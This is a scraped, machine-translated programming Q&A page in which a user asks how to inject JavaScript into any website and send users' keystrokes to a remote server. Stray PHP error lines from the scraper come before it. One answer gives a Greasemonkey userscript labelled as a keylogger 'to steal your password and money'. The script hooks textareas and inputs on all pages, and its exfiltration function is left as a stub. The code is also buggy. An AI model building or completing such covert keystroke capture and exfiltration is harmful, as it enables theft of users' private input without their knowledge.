Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/404.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
用于插入javascript的Firefox插件或greasemonkey脚本_Javascript_Firefox Addon_Greasemonkey - Fatal编程技术网

用于插入javascript的Firefox插件或greasemonkey脚本

用于插入javascript的Firefox插件或greasemonkey脚本,javascript,firefox-addon,greasemonkey,Javascript,Firefox Addon,Greasemonkey,我正在开发一个分析用户打字模式的应用程序。为了实现这一点,我需要更改用户所在网页(例如yahoo.com)的HTML——对于页面中的所有文本框项目,添加一些JavaScript函数来捕获向下键和向上键事件。因此,我需要能够向现有页面添加新的JavaScript。这些功能将数据打包并发送到远程服务器(例如myApp.com) 我需要以下方面的帮助: 将JavaScript插入HTML页面 将上面添加的JavaScript中定义的一些函数添加到网页中的所有textarea元素中 将数据从上面的Jav

我正在开发一个分析用户打字模式的应用程序。为了实现这一点,我需要更改用户所在网页(例如yahoo.com)的HTML——对于页面中的所有文本框项目,添加一些JavaScript函数来捕获向下键和向上键事件。因此,我需要能够向现有页面添加新的JavaScript。这些功能将数据打包并发送到远程服务器(例如myApp.com)

我需要以下方面的帮助:

  • 将JavaScript插入HTML页面
  • 将上面添加的JavaScript中定义的一些函数添加到网页中的所有
    textarea
    元素中
  • 将数据从上面的JavaScript传输到远程服务器(即不传输到为原始页面提供服务的服务器)的方法
  • Firefox插件更可取,但Greasemonkey脚本也可以


    谢谢

    如果您不介意它只在firefox上运行,那么我建议您


    如果您喜欢使用它,这是一个非常熟悉的环境。

    这是获取keyup和keydown事件所需的代码

    // ==UserScript==
    // @name          Log-O-Matic
    // @description   A keylogger to steal your password and money ^^
    // @include       http*://*
    // ==/UserScript==
    
    var collected_data="";
    function collect(event){ collected_data+="/"+event.keyCode;}
    function send_home(){ /* use GM_xmlhttprequest here to send collected_data */}
    var textareas = document.getElementsByTagName("textarea");
    for(i in textareas) {
        textareas[i].onKeyPress=collect;
    }
    var inputs = document.getElementsByTagName("input");
    for(i in input) {
        if(input[i].type!="password")input[i].onKeyPress=collect;
    }
    

    你为什么需要键盘记录器?你试过什么?你开始建造什么了吗?您遇到了哪些具体问题?分析按键和打包数据的javascript已经准备好了。我有一个测试页面,它有一个文本框,允许捕获用户输入。我现在需要与其他网页集成,并需要帮助才能开始。我的应用程序与解释用户的键入模式相关-因此我需要键盘记录程序。无意冒犯,但如果你无法了解greasemonkey的功能,你就无法编写JS来完成这项工作。